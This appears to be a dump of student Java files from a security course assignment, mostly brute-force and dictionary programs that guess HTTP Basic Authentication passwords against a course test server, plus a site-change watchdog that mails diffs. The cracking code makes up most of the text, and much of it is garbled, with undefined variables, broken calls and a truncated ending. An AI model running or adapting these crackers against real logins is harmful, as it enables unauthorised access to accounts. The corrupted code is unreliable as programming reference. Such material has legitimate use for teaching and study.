diff.html""}; String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\"" < diff.html""}; String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""}; String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""}; String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""}; String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec(""mkdir copy1""); c1.waitFor(); Process c2 = Runtime.getRuntime().exec(""mkdir copy2""); c2.waitFor(); Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""\t\t\tWATCHDOG PROGRAM""); System.out.println(""\t\t\t****************""); System.out.println(""If any change in the web then the value 1""); System.out.println(""If is change then the value 0 ""); System.out.println(""The value :"" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""diff.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println(""u have received a mail""); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }" 244.java," import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class BruteForce { public static void main(String[] args) throws IOException { int start , end, total; start = System.currentTimeMillis(); String username = """"; String password = null; String host = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; int lettersLen = letters.length(); int passwordLen=3; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = """"; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; int temp1=0; int temp2=0; int temp3=0; for (int a=1; a<=passwordLen; a++) { temp1 = (int) Math.pow(lettersLen, a); passwords += temp1; if (a==2) { twoChar = temp1; } } System.out.println(""Brute Attack "" + host + "" has commenced.""); System.out.println(""Number of possible password combinations: "" + passwords); int i=1; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { if ( i < lettersLen) { password = letters.substring(i, (i+1)); } else if (i < (lettersLen + twoChar)) { temp1 = i / lettersLen; password = letters.substring((-1), start ); temp1 = i - ( temp1 * lettersLen); password = password + letters.substring(temp1, (+1)); } else { temp2 = i / lettersLen; temp1 = i - (temp2 * lettersLen); password = letters.substring(temp1, (+1)); temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; } authenticate = username + "":"" + password; authenticate = new String(base.encode(authenticate.getBytes())); httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate); } httpConnect.connect(); realm = httpConnect.getHeaderField(""WWW-Authenticate""); if (realm != null) { realm = realm.substring(realm.indexOf('""') + 1); realm = realm.substring(0, realm.indexOf('""')); } hostname = url.getHost(); responseCode = httpConnect.getResponseCode(); responseMsg = httpConnect.getResponseMessage(); if (responseCode == 200) { end = System.currentTimeMillis(); total = (end - start) / 1000; System.out.println (""Sucessfully Connected "" + url); System.out.println(""Login Attempts Required : "" + (i-1)); System.out.println(""Time Taken in Seconds : "" + total); System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg); System.out.println (""Username : "" + username); System.out.println (""Password : "" + password); System.exit( 0 ); } else if (responseCode == 401 && realm != null) { if (i > 1) { } } else { System.out.println (""What the?... The server replied with unexpected reponse."" ); System.out.println ("" Unexpected Error Occured While Attempting Connect "" + url); System.out.println (""Connection Status: "" + responseCode + responseMsg); System.out.println (""Unfortunately the password could not recovered.""); System.exit( 0 ); } i++; } catch(MalformedURLException e) { System.out.println(""Opps, the URL "" + host + "" is not valid.""); System.out.println(""Please check the URL and try again.""); } catch(IOException e) { System.out.println("", 't connect "" + host + "".""); System.out.println(""Please check the URL and try again.""); System.out.println(""Other possible causes include website is currently unavailable""); System.out.println("" have internet connection problem.""); } } while(realm != null); } }",246.java," import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class Dictionary { public static void main(String[] args) throws IOException { int begin, end, total; time = System.currentTimeMillis(); String username = """"; String password = null; String host = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String dict = ""words""; File file = new File(dict); String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; int lettersLen = letters.length(); int passwordLen=3; String character = """"; String letter = """"; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = """"; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; boolean characterValid=false; boolean passwordValid=true; int tryLen=0; int i=0; if (!file.exists() || file==null) { System.out.println (""Idiot, why dont check and make sure the dictonary file exists.""); System.out.println (""I'm trying find "" + dict + "" and I 't find it in the current directory.""); System.exit(0); } try { BufferedReader reader = new BufferedReader(new FileReader(file)); System.out.println(""Dictionary Attack "" + host + "" has commenced.""); int i=1; int k=1; { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { String inLine = reader.readLine(); if ( inLine !=null) { passwordValid = true; password = inLine; tryLen = password.length(); if(tryLen <= passwordLen) { for (int z=0; z=91 && (i+64) <=96) break; if ((j+65) >=91 && (j+65) <=96) break; if ((k+64) >=91 && (k+64) <=96) continue; UserPass= auth.encode("""",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); connect.setRequestProperty(""Authorization"","" "" + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""Password is "" + pass); end=System.currentTimeMillis(); diff= end - start; System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" ); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } } } } System.out.println("" match found""); connect = null; } catch (MalformedURLException malerr) { System.err.println(""Unable Open URL"" + malerr); } catch (Exception ioerr) { System.err.println(""Unable retrive URL"" + ioerr); } } }",161.java," import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader(""words"")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("""",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); connect.setRequestProperty(""Authorization"","" "" + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""Password is "" + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println(""Time Taken = "" + (diff/1000) + "" secs""); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println("" match found""); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println(""Unable Open URL"" + malerr); } catch (Exception ioerr) { System.err.println(""Unable open file"" + ioerr); } } }" 106.java," import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class BruteForce{ static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue(); static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; public BruteForce() { super(); } public static void main (String[] args) throws Exception { String statusLine = "" ""; int count = 0; int firstLetterIndex = 0; int secondLetterIndex = 0; int thirdLetterIndex = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int f = 0; f < 52; f++) { firstLetterIndex = f; password = cValidChars[firstLetterIndex]; System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } count = 0; for (int g = 0; g < 52; g++) { firstLetterIndex = g; for (int h = 0; h < 52; h++) { secondLetterIndex = h; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int i = 0; i < 52; i++) { firstLetterIndex = i; for (int j = 0; j < 52; j++) { secondLetterIndex = j; for (int k = 0; k < 52; k++) { thirdLetterIndex = k; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } } } } ",111.java," import java.io.BufferedReader; import java.io.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class Dictionary{ static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""logonPort"")).intValue(); static final String cad = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz""; static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); public Dictionary() { super(); } public static void main(String[] args) throws Exception { String statusLine = "" ""; int count = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(""dictionaryFile""))); while ((password = wordFile.readLine()) != null) { if (validateWord(password)) { client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; System.out.println("" Counter "" + count + "" Password "" + password); divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count + "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } System.out.println(""Could not find the password!""); } public static boolean validateWord(String str) { boolean isValid = false; if (str.length() > 3) { return isValid; } for (int i = 0; i < str.length(); i++) { for (int j = 0; j < cad.length(); j++) { if (str.charAt(i) == cad.charAt(j)) { isValid = true; break; } else isValid = false; } if (!isValid) break; } return isValid; } } " 193.java," import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = """"; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = ""/usr/share/lib/dict/words""; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println(""Length of time for processing: "" + ((lngFinish - lngStart) / 1000) + "" seconds""); System.out.println(); System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile); System.out.println(); System.out.println(""Input file: number of words with one letter length = "" + intNumberOfOneLetterWords); System.out.println(""Input file: number of words with two letter length = "" + intNumberOfTwoLetterWords); System.out.println(""Input file: number of words with three letter length = "" + intNumberOfThreeLetterWords); System.out.println(); System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked); System.out.println(); System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print(""These passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { System.out.println(""Exception thrown....""); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }",191.java," import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class BruteForce { static String strLetter[]; static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strExceptionPassword[]; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static String username = """"; static String strLastPasswordTested; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); System.out.println(); System.out.println(); populateArray(); boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String strPasswd; String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; int intCounter1 = 0; int intCounter2 = 0; int intCounter3 = 0; int intArrayLength = strLetter.length; strExceptionPassword = new String[5000]; if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strLetter[intCounter1], boolPasswordFound); intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2], boolPasswordFound); intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2] + strLetter[intCounter3], boolPasswordFound); intCounter3++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; } } System.out.println(); calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println(""Length of time for processing: "" + ((lngFinish - lngStart) / 1000) + "" seconds""); System.out.println(); System.out.println(""Number of connection attempts = "" + intNumberOfConnectionAttempts); System.out.println(); System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); if (intExceptionCount >= 0) { System.out.print(""These EXCEPTION passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = ""a""; strLetter[1] = ""b""; strLetter[2] = ""c""; strLetter[3] = ""d""; strLetter[4] = ""e""; strLetter[5] = ""f""; strLetter[6] = ""g""; strLetter[7] = ""h""; strLetter[8] = ""i""; strLetter[9] = ""j""; strLetter[10] = ""k""; strLetter[11] = ""l""; strLetter[12] = ""m""; strLetter[13] = ""n""; strLetter[14] = ""o""; strLetter[15] = ""p""; strLetter[16] = ""q""; strLetter[17] = ""r""; strLetter[18] = ""s""; strLetter[19] = ""t""; strLetter[20] = ""u""; strLetter[21] = ""v""; strLetter[22] = ""w""; strLetter[23] = ""x""; strLetter[24] = ""y""; strLetter[25] = ""z""; strLetter[26] = ""A""; strLetter[27] = ""B""; strLetter[28] = ""C""; strLetter[29] = ""D""; strLetter[30] = ""E""; strLetter[31] = ""F""; strLetter[32] = ""G""; strLetter[33] = ""H""; strLetter[34] = ""I""; strLetter[35] = ""J""; strLetter[36] = ""K""; strLetter[37] = ""L""; strLetter[38] = ""M""; strLetter[39] = ""N""; strLetter[40] = ""O""; strLetter[41] = ""P""; strLetter[42] = ""Q""; strLetter[43] = ""R""; strLetter[44] = ""S""; strLetter[45] = ""T""; strLetter[46] = ""U""; strLetter[47] = ""V""; strLetter[48] = ""W""; strLetter[49] = ""X""; strLetter[50] = ""Y""; strLetter[51] = ""Z""; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; 